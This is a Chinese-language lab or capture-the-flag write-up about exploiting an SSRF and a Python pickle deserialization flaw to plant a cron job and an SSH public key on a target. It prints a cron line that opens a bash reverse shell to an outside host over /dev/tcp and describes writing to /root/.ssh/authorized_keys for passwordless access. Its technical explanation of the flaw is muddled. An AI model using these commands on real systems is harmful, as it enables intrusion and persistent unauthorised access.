目录

一、环境

二、 介绍

三、开始做题

 四、写公钥

---

一、环境

网上自己找

二、 介绍

我们经过前面文章很清楚知道，shiro是将数据存储在内存当中，内存落盘实现一个数据存储，而当其结合python，python将登录的session存储到shiro里面就会造成一个反序列化漏洞

看看环境

登录信息存到session

序列化一个引擎

 序列化存入

那我们就需要反序列化的方式取出

pass：python序列化的两个方法pickle.dumps、pickle.loads 

三、开始做题

很明显的ssrf题目

接下来就是猜目录，但是这个靶场给了我们利用工具

 其实跟我们之前用的工具差不多一样，我们还是一样解码看它干了什么

一模一样正常的反弹shell操作如fiushall等等

攻击机接shell

 反馈是okokok我们等一分钟看看情况

很明显反弹回来了

 所以我们进入docker环境下看看它的任务计划有没有写成功

但是ubentu和centos的反弹不一样

ubentu是写在这个任务计划目录下的，ubentu的反弹并不稳定，因为其中涉及权限不能是644，得是600，第二个邮件服务器，第三个坑点/bin/sh指向dash，而我们反弹shell是bash

总结一下：

补充另一种方法：

*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向，直接在sh下执行bash -c。

 四、写公钥

脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面

我这里生成一对公钥和私钥

 还是一样用centos去测试，写公钥看一下

 很明显它是写入了

我们直接可以免密登录了